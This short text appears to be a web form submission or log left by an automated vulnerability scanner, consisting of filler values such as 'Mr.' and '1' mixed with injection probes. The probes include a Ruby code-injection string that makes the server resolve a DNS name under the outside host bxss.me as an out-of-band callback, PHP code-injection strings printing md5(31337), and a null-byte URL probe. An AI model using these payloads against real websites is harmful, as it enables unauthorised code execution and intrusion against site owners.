Mr.

1

bxss.me/t/xss.html?%00

'+'A'.concat(70-3).concat(22*4).concat(99).concat(65).concat(109).concat(81)+(require'socket'
Socket.gethostbyname('hitnn'+'ejggkqpf050d8.bxss.me.')[3].to_s)+'

';print(md5(31337));$a='

1

";print(md5(31337));$a="

1

1

${@print(md5(31337))}

1